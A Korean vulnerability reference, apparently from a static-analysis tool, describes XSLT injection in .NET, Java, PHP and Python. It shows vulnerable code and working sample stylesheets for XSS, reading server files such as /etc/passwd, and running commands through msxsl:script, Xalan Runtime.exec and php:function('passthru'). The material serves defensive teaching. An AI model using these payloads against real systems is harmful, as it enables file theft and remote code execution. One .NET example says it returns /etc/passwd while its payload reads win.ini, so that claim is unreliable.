계: Input Validation and Representation

입력 검증 및 표현 문제는 메타 문자, 대체 인코딩 및 숫자 표현 때문에 발생합니다. 보안 문제는 입력을 신뢰하기 때문에 발생합니다. 문제로는 "Buffer Overflows", "Cross-Site Scripting" 공격, "SQL Injection", 그 외 여러 가지가 있습니다.

XSLT Injection

Abstract
확인되지 않은 XSL 스타일시트를 처리하면 공격자가 그 결과로 생긴 XML의 구조와 내용을 변경하거나, 파일 시스템에서 임의의 파일을 포함하거나, 임의의 코드를 실행할 수 있습니다.
Explanation
XSLT injection은 다음 경우에 발생합니다.

1. 신뢰할 수 없는 소스에서 데이터가 프로그램에 입력됩니다.

2. XSL 스타일시트에 데이터가 작성됩니다.


일반적으로 응용 프로그램은 XSL 스타일시트를 사용하여 XML 문서의 형식을 다른 형식으로 변환합니다. XSL 스타일시트에는 변환 프로세스를 향상시키지만 잘못 사용할 경우 다른 취약점을 발생시키는 특수 함수가 있습니다.

공격자가 스타일시트에 XSL 요소를 쓸 수 있는 경우 XSL 스타일시트의 의미와 처리가 변경될 수 있습니다. 공격자는 Cross-Site Scripting 공격이 가능하도록 스타일시트의 출력을 변경하거나, 로컬 파일 시스템 리소스의 콘텐트를 노출하거나, 임의의 코드를 실행할 수 있습니다.

예제 1: 다음은 XSLT Injection에 취약한 일부 코드입니다.


...
String xmlUrl = Request["xmlurl"];
String xslUrl = Request["xslurl"];

XslCompiledTransform xslt = new XslCompiledTransform();
xslt.Load(xslUrl);

xslt.Transform(xmlUrl, "books.html");
...
Example 1은 공격자가 식별된 XSL을 XSTL 프로세서로 전달하는 경우 세 가지 다른 익스플로이트를 초래합니다.

1. XSS:



<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<script>alert(123)</script>
</xsl:template>
</xsl:stylesheet>



XSL 스타일시트가 처리될 때 <script> 태그가 피해자의 브라우저에 렌더링되어 cross-site scripting 공격이 수행될 수 있습니다.

2. 서버의 파일 시스템에 있는 임의의 파일을 읽습니다.



<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:copy-of select="document('file:///c:/winnt/win.ini')"/>
</xsl:template>
</xsl:stylesheet>



앞선 XSL 스타일시트는 /etc/passwd 파일의 내용을 반환합니다.

3. 임의의 코드를 실행합니다.

XSLT 프로세서는 네이티브 언어 메서드가 비활성화되지 않은 경우 XSLT 함수로 노출할 수 있습니다.



<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:App="http://www.tempuri.org/App">
<msxsl:script implements-prefix="App" language="C#">
<![CDATA[
public string ToShortDateString(string date)
{
System.Diagnostics.Process.Start("cmd.exe");
return "01/01/2001";
}
]]>
</msxsl:script>
<xsl:template match="ArrayOfTest">
<TABLE>
<xsl:for-each select="Test">
<TR>
<TD>
<xsl:value-of select="App:ToShortDateString(TestDate)" />
</TD>
</TR>
</xsl:for-each>
</TABLE>
</xsl:template>
</xsl:stylesheet>



앞선 스타일시트는 서버에서 “cmd.exe” 명령을 실행합니다.
desc.dataflow.dotnet.xslt_injection
Abstract
확인되지 않은 XSL 스타일시트를 처리하면 공격자가 그 결과로 생긴 XML의 구조와 내용을 변경하거나, 파일 시스템에서 임의의 파일을 포함하거나, 임의의 코드를 실행할 수 있습니다.
Explanation
XSLT injection은 다음 경우에 발생합니다.

1. 신뢰할 수 없는 소스에서 데이터가 프로그램에 입력됩니다.

2. XSL 스타일시트에 데이터가 작성됩니다.


일반적으로 응용 프로그램은 XSL 스타일시트를 사용하여 XML 문서의 형식을 다른 형식으로 변환합니다. XSL 스타일시트에는 변환 프로세스를 향상시키지만 잘못 사용할 경우 다른 취약점을 발생시키는 특수 함수가 있습니다.

공격자가 스타일시트에 XSL 요소를 쓸 수 있는 경우 XSL 스타일시트의 의미와 처리가 변경될 수 있습니다. 공격자는 Cross-Site Scripting 공격이 가능하도록 스타일시트의 출력을 변경하거나, 로컬 파일 시스템 리소스의 콘텐트를 노출하거나, 임의의 코드를 실행할 수 있습니다.

예제 1: 다음은 XSLT Injection에 취약한 일부 코드입니다.


...
InputStream xmlUrl = Utils.getFromURL(request.getParameter("xmlurl"));
InputStream xsltUrl = Utils.getFromURL(request.getParameter("xslurl"));

Source xmlSource = new StreamSource(xmlUrl);
Source xsltSource = new StreamSource(xsltUrl);
Result result = new StreamResult(System.out);

TransformerFactory transFact = TransformerFactory.newInstance();
Transformer trans = transFact.newTransformer(xsltSource);
trans.transform(xmlSource, result);
...
Example 1의 코드는 공격자가 식별된 XSL을 XSTL 프로세서로 전달하는 경우 세 가지 다른 익스플로이트를 초래합니다.

1. XSS:



<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<script>alert(123)</script>
</xsl:template>
</xsl:stylesheet>



XSL 스타일시트가 처리될 때 <script> 태그가 피해자의 브라우저에 렌더링되어 cross-site scripting 공격이 수행될 수 있습니다.

2. 서버의 파일 시스템에 있는 임의의 파일을 읽습니다.



<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:copy-of select="document('/etc/passwd')"/>
</xsl:template>
</xsl:stylesheet>



앞선 XSL 스타일시트는 /etc/passwd 파일의 내용을 반환합니다.

3. 임의의 Java 코드를 실행합니다.

XSLT 프로세서는 네이티브 Java 언어 메서드가 비활성화되지 않은 경우 XSLT 함수로 노출할 수 있습니다.



<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime" xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object">
<xsl:template match="/">
<xsl:variable name="rtobject" select="rt:getRuntime()"/>
<xsl:variable name="process" select="rt:exec($rtobject,'ls')"/>
<xsl:variable name="processString" select="ob:toString($process)"/>
<xsl:value-of select="$processString"/>
</xsl:template>
</xsl:stylesheet>



위의 스타일시트는 서버에서 “ls” 명령을 실행합니다.
References
[1] INJECT-8: Take care interpreting untrusted code Oracle
desc.dataflow.java.xslt_injection
Abstract
확인되지 않은 XSL 스타일시트를 처리하면 공격자가 그 결과로 생긴 XML의 구조와 내용을 변경하거나, 파일 시스템에서 임의의 파일을 포함하거나, 임의의 코드를 실행할 수 있습니다.
Explanation
XSLT injection은 다음 경우에 발생합니다.

1. 신뢰할 수 없는 소스에서 데이터가 프로그램에 입력됩니다.

2. XSL 스타일시트에 데이터가 작성됩니다.


일반적으로 응용 프로그램은 XSL 스타일시트를 사용하여 XML 문서의 형식을 다른 형식으로 변환합니다. XSL 스타일시트에는 변환 프로세스를 향상시키지만 잘못 사용할 경우 다른 취약점을 발생시키는 특수 함수가 있습니다.

공격자가 스타일시트에 XSL 요소를 쓸 수 있는 경우 XSL 스타일시트의 의미와 처리가 변경될 수 있습니다. 공격자는 Cross-Site Scripting 공격이 가능하도록 스타일시트의 출력을 변경하거나, 로컬 파일 시스템 리소스의 콘텐트를 노출하거나, 임의의 코드를 실행할 수 있습니다. 공격자가 응용 프로그램에 전송되는 스타일시트를 완전히 제어할 수 있는 경우에는 XXE(XML 외부 엔터티) injection 공격도 실행할 수 있습니다.

예제 1: 다음은 XSLT Injection에 취약한 일부 코드입니다.


...
<?php

$xml = new DOMDocument;
$xml->load('local.xml');

$xsl = new DOMDocument;
$xsl->load($_GET['key']);

$processor = new XSLTProcessor;
$processor->registerPHPFunctions();
$processor->importStyleSheet($xsl);

echo $processor->transformToXML($xml);

?>
...
Example 1의 코드는 공격자가 식별된 XSL을 XSTL 프로세서로 전달하는 경우 세 가지 다른 익스플로이트를 초래합니다.

1. XSS:



<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<xsl:template match="/">
<script>alert(123)</script>
</xsl:template>
</xsl:stylesheet>



XSL 스타일시트가 처리될 때 <script> 태그가 피해자의 브라우저에 렌더링되어 cross-site scripting 공격이 수행될 수 있습니다.

2. 서버의 파일 시스템에 있는 임의의 파일을 읽습니다.



<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<xsl:template match="/">
<xsl:copy-of select="document('/etc/passwd')"/>
</xsl:template>
</xsl:stylesheet>



앞선 XSL 스타일시트는 /etc/passwd 파일의 내용을 반환합니다.

3. 임의의 PHP 코드를 실행합니다.

XSLT 프로세서는 "registerPHPFunctions"를 활성화하여 네이티브 PHP 언어 메서드를 XSLT 함수로 노출할 수 있습니다.



<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<xsl:template match="/">
<xsl:value-of select="php:function('passthru','ls -la')"/>
</xsl:template>
</xsl:stylesheet>



앞선 스타일시트는 서버에서 실행된 “ls” 명령의 결과를 출력합니다.
desc.dataflow.php.xslt_injection
Abstract
확인되지 않은 XSL 스타일시트를 처리하면 공격자가 그 결과로 생긴 XML의 구조와 내용을 변경하거나, 파일 시스템에서 임의의 파일을 포함하거나, 임의의 코드를 실행할 수 있습니다.
Explanation
XSLT injection은 다음 경우에 발생합니다.

1. 신뢰할 수 없는 소스에서 데이터가 프로그램에 입력됩니다.

2. XSL 스타일시트에 데이터가 작성됩니다.


일반적으로 응용 프로그램은 XSL 스타일시트를 사용하여 XML 문서의 형식을 다른 형식으로 변환합니다. XSL 스타일시트에는 변환 프로세스를 향상시키지만 잘못 사용할 경우 다른 취약점을 발생시키는 특수 함수가 있습니다.

공격자가 스타일시트에 XSL 요소를 쓸 수 있는 경우 XSL 스타일시트의 의미와 처리가 변경될 수 있습니다. 공격자는 Cross-Site Scripting 공격이 가능하도록 스타일시트의 출력을 변경하거나, 로컬 파일 시스템 리소스의 콘텐트를 노출하거나, 임의의 코드를 실행할 수 있습니다.

예제 1: 다음은 XSLT Injection에 취약한 일부 코드입니다.


...
xml = StringIO.StringIO(request.POST['xml'])
xslt = StringIO.StringIO(request.POST['xslt'])

xslt_root = etree.XML(xslt)
transform = etree.XSLT(xslt_root)
result_tree = transform(xml)
return render_to_response(template_name, {'result': etree.tostring(result_tree)})
...
Example 1의 코드는 공격자가 식별된 XSL을 XSTL 프로세서로 전달하는 경우 세 가지 다른 익스플로이트를 초래합니다.

1. XSS:



<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<script>alert(123)</script>
</xsl:template>
</xsl:stylesheet>



XSL 스타일시트가 처리될 때 <script> 태그가 피해자의 브라우저에 렌더링되어 cross-site scripting 공격이 수행될 수 있습니다.

2. 서버의 파일 시스템에 있는 임의의 파일을 읽습니다.



<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:copy-of select="document('/etc/passwd')"/>
</xsl:template>
</xsl:stylesheet>



앞선 XSL 스타일시트는 /etc/passwd 파일의 내용을 반환합니다.
desc.dataflow.python.xslt_injection